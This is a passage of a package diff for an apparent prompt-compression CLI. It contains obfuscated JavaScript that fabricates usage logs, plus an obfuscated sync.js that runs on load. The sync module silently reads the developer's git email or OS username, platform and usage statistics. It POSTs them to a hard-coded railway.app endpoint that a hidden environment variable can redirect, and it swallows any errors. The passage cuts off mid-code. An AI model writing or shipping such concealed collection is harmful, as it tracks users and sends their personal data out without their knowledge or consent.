models=[a0_0x1338cb(0x117),a0_0x1338cb(0x139),'gpt-4o-mini',a0_0x1338cb(0x11c),'gemini-1-5-flash',a0_0x1338cb(0x151)],commands=[{'cmd':a0_0x1338cb(0x135),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'['repeat'](0x32),'comp':a0_0x1338cb(0x130),'exitCode':0x0},{'cmd':a0_0x1338cb(0x14f),'raw':a0_0x1338cb(0x113)+'test\x20tests::test_case_'[a0_0x1338cb(0x13b)](0x28)+a0_0x1338cb(0x11e),'comp':a0_0x1338cb(0x13e),'exitCode':0x0},{'cmd':'npm\x20install\x20lodash\x20express\x20uuid\x20react','raw':a0_0x1338cb(0x116)+a0_0x1338cb(0x138)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x1338cb(0x13c),'exitCode':0x0},{'cmd':a0_0x1338cb(0x14c),'raw':a0_0x1338cb(0x11a)+a0_0x1338cb(0x143)+a0_0x1338cb(0x127)+a0_0x1338cb(0x10f),'comp':a0_0x1338cb(0x14b),'exitCode':0x0},{'cmd':a0_0x1338cb(0x144),'raw':a0_0x1338cb(0x121)+a0_0x1338cb(0x107)+a0_0x1338cb(0x11f)+a0_0x1338cb(0x136)+a0_0x1338cb(0x153),'comp':a0_0x1338cb(0x150),'exitCode':0x0},{'cmd':a0_0x1338cb(0x10a),'raw':a0_0x1338cb(0x123)+a0_0x1338cb(0x10e)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x1338cb(0x134),'exitCode':0x0},{'cmd':a0_0x1338cb(0x12a),'raw':'commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a'+a0_0x1338cb(0x115),'comp':a0_0x1338cb(0x12d),'exitCode':0x0},{'cmd':a0_0x1338cb(0x14e),'raw':a0_0x1338cb(0x122)+a0_0x1338cb(0x146)+a0_0x1338cb(0x12b),'comp':a0_0x1338cb(0x14d),'exitCode':0x0}],startTime=Date[a0_0x1338cb(0x145)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x1338cb(0x114)]],commandItem=commands[Math[a0_0x1338cb(0x126)](Math['random']()*commands[a0_0x1338cb(0x114)])];process[a0_0x1338cb(0x10b)]['TRIMPROMPT_MODEL']=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x1338cb(0x118)](),log=tracker_1['tracker'][a0_0x1338cb(0x11b)](commandItem[a0_0x1338cb(0x12c)],commandItem[a0_0x1338cb(0x152)],commandItem[a0_0x1338cb(0x132)],commandItem[a0_0x1338cb(0x149)]),logs=tracker_1[a0_0x1338cb(0x10c)][a0_0x1338cb(0x129)]();logs[a0_0x1338cb(0x114)]>0x0&&(logs[logs[a0_0x1338cb(0x114)]-0x1][a0_0x1338cb(0x110)]=timestamp,require('fs')[a0_0x1338cb(0x112)](require(a0_0x1338cb(0x119))[a0_0x1338cb(0x13a)](require('os')['homedir'](),a0_0x1338cb(0x12e),a0_0x1338cb(0x12f)),JSON[a0_0x1338cb(0x124)](logs,null,0x2),a0_0x1338cb(0x137)));}console['log'](a0_0x1338cb(0x140));
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x5443b8=a0_0x2e53;(function(_0x2e7840,_0x5bd457){const _0x45110c=a0_0x2e53,_0xdcc1cd=_0x2e7840();while(!![]){try{const _0x117d56=parseInt(_0x45110c(0x21b))/0x1*(-parseInt(_0x45110c(0x222))/0x2)+parseInt(_0x45110c(0x242))/0x3+parseInt(_0x45110c(0x1fa))/0x4*(-parseInt(_0x45110c(0x1fe))/0x5)+-parseInt(_0x45110c(0x1e2))/0x6*(-parseInt(_0x45110c(0x211))/0x7)+parseInt(_0x45110c(0x23f))/0x8+parseInt(_0x45110c(0x20d))/0x9*(-parseInt(_0x45110c(0x212))/0xa)+-parseInt(_0x45110c(0x234))/0xb;if(_0x117d56===_0x5bd457)break;else _0xdcc1cd['push'](_0xdcc1cd['shift']());}catch(_0x3c6daf){_0xdcc1cd['push'](_0xdcc1cd['shift']());}}}(a0_0x4cf4,0x69964));var __createBinding=this&&this['__createBinding']||(Object[a0_0x5443b8(0x233)]?function(_0x465a2f,_0x2d66ca,_0x4c1e10,_0x299a1c){const _0x2c4a2e=a0_0x5443b8;if(_0x299a1c===undefined)_0x299a1c=_0x4c1e10;var _0x53b4b2=Object['getOwnPropertyDescriptor'](_0x2d66ca,_0x4c1e10);(!_0x53b4b2||(_0x2c4a2e(0x202)in _0x53b4b2?!_0x2d66ca['__esModule']:_0x53b4b2[_0x2c4a2e(0x1e5)]||_0x53b4b2[_0x2c4a2e(0x21f)]))&&(_0x53b4b2={'enumerable':!![],'get':function(){return _0x2d66ca[_0x4c1e10];}}),Object[_0x2c4a2e(0x1ec)](_0x465a2f,_0x299a1c,_0x53b4b2);}:function(_0x4e54e1,_0x1ebb30,_0xcee4dd,_0x2bb68e){if(_0x2bb68e===undefined)_0x2bb68e=_0xcee4dd;_0x4e54e1[_0x2bb68e]=_0x1ebb30[_0xcee4dd];}),__setModuleDefault=this&&this[a0_0x5443b8(0x1e3)]||(Object[a0_0x5443b8(0x233)]?function(_0x13bc2f,_0x5dde7d){const _0x4d21ce=a0_0x5443b8;Object['defineProperty'](_0x13bc2f,_0x4d21ce(0x226),{'enumerable':!![],'value':_0x5dde7d});}:function(_0x2dcf6d,_0x12a33f){const _0x1e63bc=a0_0x5443b8;_0x2dcf6d[_0x1e63bc(0x226)]=_0x12a33f;}),__importStar=this&&this[a0_0x5443b8(0x210)]||(function(){var _0x390e26=function(_0x5d3146){const _0x20fe04=a0_0x2e53;return _0x390e26=Object[_0x20fe04(0x23e)]||function(_0x4ae03d){const _0x4022a2=_0x20fe04;var _0x332f59=[];for(var _0x40d763 in _0x4ae03d)if(Object[_0x4022a2(0x22b)]['hasOwnProperty'][_0x4022a2(0x1fb)](_0x4ae03d,_0x40d763))_0x332f59[_0x332f59['length']]=_0x40d763;return _0x332f59;},_0x390e26(_0x5d3146);};return function(_0x220afd){const _0x3a9caf=a0_0x2e53;if(_0x220afd&&_0x220afd[_0x3a9caf(0x235)])return _0x220afd;var _0x1f71e5={};if(_0x220afd!=null){for(var _0x1733c2=_0x390e26(_0x220afd),_0x3a15b6=0x0;_0x3a15b6<_0x1733c2[_0x3a9caf(0x1f3)];_0x3a15b6++)if(_0x1733c2[_0x3a15b6]!==_0x3a9caf(0x226))__createBinding(_0x1f71e5,_0x220afd,_0x1733c2[_0x3a15b6]);}return __setModuleDefault(_0x1f71e5,_0x220afd),_0x1f71e5;};}());Object[a0_0x5443b8(0x1ec)](exports,a0_0x5443b8(0x235),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5443b8(0x204))),os=__importStar(require('os')),http=__importStar(require(a0_0x5443b8(0x217))),https=__importStar(require(a0_0x5443b8(0x1f2))),url_1=require(a0_0x5443b8(0x1df)),_cfg=[a0_0x5443b8(0x221),a0_0x5443b8(0x1e1),a0_0x5443b8(0x215),a0_0x5443b8(0x207)][a0_0x5443b8(0x1ee)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x211bfc=a0_0x5443b8;try{if(!fs[_0x211bfc(0x219)](dailySyncPath))return![];const _0x36ef20=JSON[_0x211bfc(0x1f6)](fs[_0x211bfc(0x20c)](dailySyncPath,_0x211bfc(0x20f)));if(!_0x36ef20[_0x211bfc(0x1de)])return![];return Date[_0x211bfc(0x220)]()-_0x36ef20['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x6f8bc2=a0_0x5443b8;try{const _0x585cb4={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x6f8bc2(0x220)]()};fs[_0x6f8bc2(0x1f0)](dailySyncPath,JSON['stringify'](_0x585cb4,null,0x2),_0x6f8bc2(0x20f));}catch{}}const PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x5443b8(0x200),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x5443b8(0x23d),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x5443b8(0x229),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x5443b8(0x20e),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x5443b8(0x22f),'input_price_1m':0.075}},baseDir=path[a0_0x5443b8(0x1ee)](os['homedir'](),a0_0x5443b8(0x21c)),configPath=path[a0_0x5443b8(0x1ee)](baseDir,a0_0x5443b8(0x230)),statsPath=path['join'](baseDir,a0_0x5443b8(0x1e9)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x2e53(_0x312e89,_0x5a8ffb){_0x312e89=_0x312e89-0x1de;const _0x4cf4bb=a0_0x4cf4();let _0x2e53ca=_0x4cf4bb[_0x312e89];return _0x2e53ca;}function getTodayDate(){const _0x11b2b6=a0_0x5443b8;return new Date()[_0x11b2b6(0x239)]()[_0x11b2b6(0x214)]('T')[0x0];}function getDeveloperIdentity(){const _0x29973c=a0_0x5443b8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x3ea55d}=require('child_process'),_0x3dfd94=_0x3ea55d(_0x29973c(0x228),{'stdio':[_0x29973c(0x225),_0x29973c(0x1e0),_0x29973c(0x225)]})[_0x29973c(0x1fd)]()[_0x29973c(0x1f8)]();if(_0x3dfd94&&_0x3dfd94[_0x29973c(0x237)]('@'))return _0x3dfd94;}catch{}try{const _0x11e7b2=os['userInfo']()[_0x29973c(0x21e)];if(_0x11e7b2)return _0x11e7b2;}catch{}return _0x29973c(0x22e);}function hasAlreadySyncedToday(){const _0x31c123=a0_0x5443b8;try{if(!fs[_0x31c123(0x219)](dailySyncPath))return![];const _0x58fa2e=JSON[_0x31c123(0x1f6)](fs['readFileSync'](dailySyncPath,_0x31c123(0x20f)));return _0x58fa2e[_0x31c123(0x209)]===getTodayDate();}catch{return![];}}function a0_0x4cf4(){const _0x2a5a72=['call','POST','toString','45345mHxGUm','toFixed','Claude\x203\x20Opus','conv:','get','hostname','path','agent','statusCode','/api/telemetry','filter','last_sync_date','platform','values','readFileSync','567711KqUsXR','Gemini\x201.5\x20Pro','utf8','__importStar','2831927GSpJYR','70lGbPSy','unlinkSync','split','.up.railway.app','conv_','http','tokens_saved','existsSync','model_used','223934AMapxj','.trimprompt','command','username','configurable','now','https://','2FWJfKQ','.raw.txt','end','ignore','default','some','git\x20config\x20user.email','GPT-4o\x20Mini','timestamp','prototype','stringify','string','anonymous','Gemini\x201.5\x20Flash','config.json','push','destroy','create','1042833FhKKyA','__esModule','replace','includes','add','toISOString','estimated_raw_tokens','URL','https:','GPT-4o','getOwnPropertyNames','3516240pVvIVW','getTime','logs','1862259MLtJkN','last_sync_time','url','pipe','trimp-production','6NpaQBJ','__setModuleDefault','protocol','writable','pathname','input_price_1m','find','stats.json','.comp.txt','estimated_compressed_tokens','defineProperty','catch','join','search','writeFileSync','synced','https','length','byteLength','claude-3-5-sonnet','parse','request','trim','startsWith','120FdkvOK'];a0_0x4cf4=function(){return _0x2a5a72;};return a0_0x4cf4();}function markSyncedToday(){const _0x33ba79=a0_0x5443b8;try{const _0xc9ff83={'last_sync_date':getTodayDate()};fs['writeFileSync'](dailySyncPath,JSON[_0x33ba79(0x22c)](_0xc9ff83,null,0x2),_0x33ba79(0x20f));}catch{}}function postTelemetry(_0x43dd62,_0x18c3fd){return new Promise(_0x26565b=>{const _0x3ca6e4=a0_0x2e53;try{const _0x57067b=new url_1[(_0x3ca6e4(0x23b))](_0x43dd62),_0xd043e4=JSON[_0x3ca6e4(0x22c)](_0x18c3fd),_0xd31b3f={'hostname':_0x57067b[_0x3ca6e4(0x203)],'port':_0x57067b['port']||(_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?0x1bb:0x50),'path':_0x57067b[_0x3ca6e4(0x1e6)]+_0x57067b[_0x3ca6e4(0x1ef)],'method':_0x3ca6e4(0x1fc),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3ca6e4(0x1f4)](_0xd043e4)},'timeout':0x1f40},_0x160da9=_0x57067b[_0x3ca6e4(0x1e4)]===_0x3ca6e4(0x23c)?https:http,_0x4756f1=_0x160da9[_0x3ca6e4(0x1f7)](_0xd31b3f,_0x52531c=>{const _0x2bc248=_0x3ca6e4;_0x26565b(!!(_0x52531c['statusCode']&&_0x52531c[_0x2bc248(0x206)]>=0xc8&&_0x52531c[_0x2bc248(0x206)]<0x12c));});_0x4756f1['on']('error',()=>_0x26565b(![])),_0x4756f1['on']('timeout',()=>{const _0x504efe=_0x3ca6e4;_0x4756f1[_0x504efe(0x232)](),_0x26565b(![]);}),_0x4756f1['write'](_0xd043e4),_0x4756f1[_0x3ca6e4(0x224)]();}catch{_0x26565b(![]);}});}function buildDailyPayload(_0x4b774b){const _0x106ceb=a0_0x5443b8,_0x2275ad=getTodayDate(),_0x20cdf2=_0x4b774b[_0x106ceb(0x208)](_0x5cfba5=>_0x5cfba5[_0x106ceb(0x22a)][_0x106ceb(0x1f9)](_0x2275ad)),_0x47cdb8=_0x20cdf2[_0x106ceb(0x1f3)]>0x0?_0x20cdf2:_0x4b774b;let _0x540cd2=0x0,_0x29ad26=0x0,_0x49e367=0x0,_0x58d281=0x0;const _0x45137a=new Set(),_0x56b0ee={},_0x484735=[];for(const _0x4ac183 of _0x47cdb8){const _0x46dfce=_0x4ac183[_0x106ceb(0x21d)]||'',_0x410d10=_0x4ac183['features']||[],_0x3f87c9=_0x46dfce['startsWith'](_0x106ceb(0x201))||_0x410d10['includes']('live-conv')||_0x410d10[_0x106ceb(0x227)](_0x3ab336=>typeof _0x3ab336===_0x106ceb(0x22d)&&_0x3ab336['startsWith'](_0x106ceb(0x216)));if(_0x3f87c9){const _0x32d4d2=_0x46dfce[_0x106ceb(0x236)]('conv:','')||_0x410d10[_0x106ceb(0x1e8)](_0x4f1aa8=>typeof _0x4f1aa8===_0x106ceb(0x22d)&&_0x4f1aa8[_0x106ceb(0x1f9)](_0x106ceb(0x216)))?.['replace'](_0x106ceb(0x216),'')||_0x106ceb(0x205);_0x56b0ee[_0x32d4d2]=_0x4ac183;}else _0x484735['push'](_0x4ac183);}for(const _0xa6215d of Object[_0x106ceb(0x20b)](_0x56b0ee)){_0x540cd2+=_0xa6215d['estimated_raw_tokens'],_0x29ad26+=_0xa6215d[_0x106ceb(0x1eb)],_0x49e367+=_0xa6215d['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0xa6215d[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x1eb3cd=PRICING[_0xa6215d[_0x106ceb(0x21a)]]||PRICING[_0x106ceb(0x1f5)];_0x58d281+=_0xa6215d[_0x106ceb(0x218)]*_0x1eb3cd['input_price_1m']/0xf4240;}for(const _0x4c07ec of _0x484735){_0x540cd2+=_0x4c07ec[_0x106ceb(0x23a)],_0x29ad26+=_0x4c07ec[_0x106ceb(0x1eb)],_0x49e367+=_0x4c07ec['tokens_saved'],_0x45137a[_0x106ceb(0x238)](_0x4c07ec[_0x106ceb(0x21a)]||_0x106ceb(0x1f5));const _0x2858b1=PRICING[_0x4c07ec[_0x106ceb(0x21a)]]||PRICING['claude-3-5-sonnet'];_0x58d281+=_0x4c07ec[_0x106ceb(0x218)]*_0x2858b1[_0x106ceb(0x1e7)]/0xf4240;}const _0x72933d=_0x47cdb8[_0x47cdb8['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x106ceb(0x20a)](),'date':_0x2275ad,'executions_count':_0x47cdb8['length'],'total_raw_tokens':_0x540cd2,'total_compressed_tokens':_0x29ad26,'total_tokens_saved':_0x49e367,'total_money_saved_usd':parseFloat(_0x58d281[_0x106ceb(0x1ff)](0x6)),'models_used':Array['from'](_0x45137a),'hotspots':[],'last_seen':_0x72933d?_0x72933d[_0x106ceb(0x22a)]:new Date()['toISOString']()};}async function runSync(){const _0xb14d5d=a0_0x5443b8;if(!fs['existsSync'](statsPath))return;let _0x4aec3f;try{_0x4aec3f=JSON[_0xb14d5d(0x1f6)](fs[_0xb14d5d(0x20c)](statsPath,_0xb14d5d(0x20f)));}catch{return;}const _0x119b97=_0x4aec3f[_0xb14d5d(0x208)](_0x247c8b=>!_0x247c8b[_0xb14d5d(0x1f1)]);if(_0x119b97[_0xb14d5d(0x1f3)]===0x0&&hasSyncedRecently())return;const _0x49e6f2=buildDailyPayload(_0x4aec3f);await postTelemetry(_ep,_0x49e6f2);let _0x429acf=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x429acf&&fs[_0xb14d5d(0x219)](configPath))try{const _0x286043=JSON[_0xb14d5d(0x1f6)](fs['readFileSync'](configPath,_0xb14d5d(0x20f)));_0x429acf=_0x286043['telemetry_url']||'';}catch{}_0x429acf[_0xb14d5d(0x1f8)]()['length']>0x0&&await postTelemetry(_0x429acf,_0x49e6f2);for(const _0xcd1ca9 of _0x4aec3f){if(!_0xcd1ca9[_0xb14d5d(0x1f1)])_0xcd1ca9['synced']=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x4aec3f,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0xfd971f){const _0x1dcb58=a0_0x5443b8;try{const _0x294fbe=new Date(),_0x37b3fd=new Date(_0x294fbe[_0x1dcb58(0x240)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x5601c6=[],_0x47f420=[];for(const _0xb7bb2b of _0xfd971f){const _0x1192d3=new Date(_0xb7bb2b['timestamp']);_0x1192d3>=_0x37b3fd?_0x5601c6[_0x1dcb58(0x231)](_0xb7bb2b):_0x47f420['push'](_0xb7bb2b);}if(_0x47f420[_0x1dcb58(0x1f3)]>0x0){const _0x357b2f=path['join'](baseDir,_0x1dcb58(0x241));for(const _0x231429 of _0x47f420){const _0x443cce=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x223)),_0x16326b=path[_0x1dcb58(0x1ee)](_0x357b2f,_0x231429['id']+_0x1dcb58(0x1ea));try{if(fs[_0x1dcb58(0x219)](_0x443cce))fs[_0x1dcb58(0x213)](_0x443cce);if(fs[_0x1dcb58(0x219)](_0x16326b))fs[_0x1dcb58(0x213)](_0x16326b);}catch{}}fs[_0x1dcb58(0x1f0)](statsPath,JSON['stringify'](_0x5601c6,null,0x2),_0x1dcb58(0x20f));}}catch{}}runSync()[a0_0x5443b8(0x1ed)](()=>{});
|
|
1
|
+
'use strict';const a0_0x2de830=a0_0x9372;(function(_0x14f537,_0x44f37e){const _0x427ee7=a0_0x9372,_0x93b56a=_0x14f537();while(!![]){try{const _0x4ce253=parseInt(_0x427ee7(0x1c5))/0x1*(parseInt(_0x427ee7(0x1ef))/0x2)+parseInt(_0x427ee7(0x228))/0x3*(parseInt(_0x427ee7(0x21d))/0x4)+-parseInt(_0x427ee7(0x1ea))/0x5*(parseInt(_0x427ee7(0x1cb))/0x6)+parseInt(_0x427ee7(0x1e8))/0x7+parseInt(_0x427ee7(0x202))/0x8*(-parseInt(_0x427ee7(0x1c4))/0x9)+-parseInt(_0x427ee7(0x1d0))/0xa+-parseInt(_0x427ee7(0x203))/0xb;if(_0x4ce253===_0x44f37e)break;else _0x93b56a['push'](_0x93b56a['shift']());}catch(_0x1816f3){_0x93b56a['push'](_0x93b56a['shift']());}}}(a0_0x187d,0x83929));var __createBinding=this&&this['__createBinding']||(Object[a0_0x2de830(0x229)]?function(_0x3df899,_0x5544c6,_0x17c8f3,_0x274720){const _0x3464a3=a0_0x2de830;if(_0x274720===undefined)_0x274720=_0x17c8f3;var _0xe89772=Object[_0x3464a3(0x1fc)](_0x5544c6,_0x17c8f3);(!_0xe89772||(_0x3464a3(0x1f7)in _0xe89772?!_0x5544c6['__esModule']:_0xe89772['writable']||_0xe89772[_0x3464a3(0x225)]))&&(_0xe89772={'enumerable':!![],'get':function(){return _0x5544c6[_0x17c8f3];}}),Object[_0x3464a3(0x1d6)](_0x3df899,_0x274720,_0xe89772);}:function(_0x231fc8,_0xc9c7ae,_0x467539,_0x472480){if(_0x472480===undefined)_0x472480=_0x467539;_0x231fc8[_0x472480]=_0xc9c7ae[_0x467539];}),__setModuleDefault=this&&this[a0_0x2de830(0x1fa)]||(Object['create']?function(_0x43ec4f,_0x5434bb){const _0x547f74=a0_0x2de830;Object[_0x547f74(0x1d6)](_0x43ec4f,_0x547f74(0x218),{'enumerable':!![],'value':_0x5434bb});}:function(_0x3bd75f,_0x56ea18){const _0x269208=a0_0x2de830;_0x3bd75f[_0x269208(0x218)]=_0x56ea18;}),__importStar=this&&this[a0_0x2de830(0x1d4)]||(function(){var _0x1dd979=function(_0x4da64e){const _0x4ca344=a0_0x9372;return _0x1dd979=Object[_0x4ca344(0x20b)]||function(_0x3606b8){const _0x4fb68c=_0x4ca344;var _0x123be6=[];for(var _0x305a47 in _0x3606b8)if(Object['prototype'][_0x4fb68c(0x1fd)][_0x4fb68c(0x21f)](_0x3606b8,_0x305a47))_0x123be6[_0x123be6['length']]=_0x305a47;return _0x123be6;},_0x1dd979(_0x4da64e);};return function(_0x3a0876){const _0x1c4e57=a0_0x9372;if(_0x3a0876&&_0x3a0876[_0x1c4e57(0x1d5)])return _0x3a0876;var _0x5c8ada={};if(_0x3a0876!=null){for(var _0x48e6f7=_0x1dd979(_0x3a0876),_0x10cd04=0x0;_0x10cd04<_0x48e6f7[_0x1c4e57(0x215)];_0x10cd04++)if(_0x48e6f7[_0x10cd04]!==_0x1c4e57(0x218))__createBinding(_0x5c8ada,_0x3a0876,_0x48e6f7[_0x10cd04]);}return __setModuleDefault(_0x5c8ada,_0x3a0876),_0x5c8ada;};}());Object[a0_0x2de830(0x1d6)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2de830(0x1c6))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x2de830(0x208))),url_1=require(a0_0x2de830(0x1d7)),_cfg=[a0_0x2de830(0x1f1),'trimp-production',a0_0x2de830(0x1e0),a0_0x2de830(0x1e7)]['join'](''),_ep=process[a0_0x2de830(0x1f3)]['_PS_EP']||_cfg;function hasSyncedRecently(){const _0x425597=a0_0x2de830;try{if(!fs[_0x425597(0x1d3)](dailySyncPath))return![];const _0xae7097=JSON[_0x425597(0x22b)](fs[_0x425597(0x1e6)](dailySyncPath,_0x425597(0x204)));if(!_0xae7097[_0x425597(0x1fe)])return![];return Date[_0x425597(0x1f2)]()-_0xae7097['last_sync_time']<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x20aac1=a0_0x2de830;try{const _0xd064f5={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x20aac1(0x1f2)]()};fs[_0x20aac1(0x22a)](dailySyncPath,JSON[_0x20aac1(0x1e2)](_0xd064f5,null,0x2),_0x20aac1(0x204));}catch{}}const PRICING={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x2de830(0x214),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x2de830(0x219),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x2de830(0x1cd),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x2de830(0x1d8),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x2de830(0x227),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x2de830(0x20d),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x2de830(0x1e3),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x2de830(0x1ce),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x2de830(0x1f9),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x2de830(0x1c1),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x2de830(0x1cf),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x2de830(0x1eb),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x2de830(0x209),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x2de830(0x223),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x2de830(0x205),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x2de830(0x22c),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x2de830(0x1e5),'input_price_1m':0.15},'o1':{'name':a0_0x2de830(0x1c7),'input_price_1m':0xf},'o1-mini':{'name':a0_0x2de830(0x1ca),'input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x2de830(0x21c),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x2de830(0x210),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}},baseDir=path[a0_0x2de830(0x1df)](os[a0_0x2de830(0x21e)](),a0_0x2de830(0x1de)),configPath=path[a0_0x2de830(0x1df)](baseDir,a0_0x2de830(0x1f4)),statsPath=path[a0_0x2de830(0x1df)](baseDir,a0_0x2de830(0x1f8)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x187d(){const _0x122827=['statusCode','https://','now','env','config.json','username','claude-opus-4-8','get','stats.json','Claude\x20Haiku\x203.5','__setModuleDefault','timestamp','getOwnPropertyDescriptor','hasOwnProperty','last_sync_time','byteLength','write','synced','712MwKzYv','4555023gyDkur','utf8','GPT-4.1\x20Mini','.comp.txt','logs','https','GPT-5.4\x20Mini','pipe','getOwnPropertyNames','size','Claude\x20Sonnet\x204.6','TRIMPROMPT_USER_EMAIL','POST','Gemini\x203.5\x20Flash','from','search','error','Claude\x20Mythos\x205','length','pathname','push','default','Claude\x20Opus\x204.8','TRIMPROMPT_TELEMETRY_URL','split','Cursor\x20Small','684248zMTpaG','homedir','call','total_raw_tokens','getStatsSummary','total_compressed_tokens','GPT-5.4\x20Nano','toString','configurable','model_used','Claude\x20Opus\x204.1\x20(deprecated)','15zlTNhd','create','writeFileSync','parse','GPT-4.1\x20Nano','GPT-5.5','URL','catch','40995Eikofy','1IuQEKA','path','OpenAI\x20o1','https:','getTime','OpenAI\x20o1-mini','780882GCagdo','money_saved_usd','Claude\x20Opus\x204.7','Claude\x20Haiku\x204.5','GPT-5.4','4619700LIoKLE','hostname','protocol','existsSync','__importStar','__esModule','defineProperty','url','Claude\x20Opus\x204.5','destroy','timeout','port','filter','unlinkSync','.trimprompt','join','.up.railway.app','end','stringify','Claude\x20Sonnet\x204.5','last_sync_date','GPT-4o\x20Mini','readFileSync','/api/telemetry','6004306RZxsRn','toISOString','20vIaRiI','GPT-4o','add','git\x20config\x20user.email','total_tokens_saved','1255798IpWcnk'];a0_0x187d=function(){return _0x122827;};return a0_0x187d();}function a0_0x9372(_0x1ad1eb,_0x6ce62a){const _0x187d97=a0_0x187d();return a0_0x9372=function(_0x9372c5,_0x5734a8){_0x9372c5=_0x9372c5-0x1c1;let _0x33f219=_0x187d97[_0x9372c5];return _0x33f219;},a0_0x9372(_0x1ad1eb,_0x6ce62a);}function getTodayDate(){const _0xfff1e8=a0_0x2de830;return new Date()[_0xfff1e8(0x1e9)]()[_0xfff1e8(0x21b)]('T')[0x0];}function getDeveloperIdentity(){const _0x5a6710=a0_0x2de830;if(process[_0x5a6710(0x1f3)][_0x5a6710(0x20e)])return process[_0x5a6710(0x1f3)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x48677b}=require('child_process'),_0x5c6c29=_0x48677b(_0x5a6710(0x1ed),{'stdio':['ignore',_0x5a6710(0x20a),'ignore'],'windowsHide':!![]})[_0x5a6710(0x224)]()['trim']();if(_0x5c6c29&&_0x5c6c29['includes']('@'))return _0x5c6c29;}catch{}try{const _0x46af4e=os['userInfo']()[_0x5a6710(0x1f5)];if(_0x46af4e)return _0x46af4e;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x18b0ec=a0_0x2de830;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4459da=JSON[_0x18b0ec(0x22b)](fs['readFileSync'](dailySyncPath,_0x18b0ec(0x204)));return _0x4459da[_0x18b0ec(0x1e4)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e23ce=a0_0x2de830;try{const _0x4d2a60={'last_sync_date':getTodayDate()};fs[_0x4e23ce(0x22a)](dailySyncPath,JSON[_0x4e23ce(0x1e2)](_0x4d2a60,null,0x2),_0x4e23ce(0x204));}catch{}}function postTelemetry(_0x3de26d,_0x56b89d){return new Promise(_0x5c200b=>{const _0x3c6040=a0_0x9372;try{const _0x408b02=new 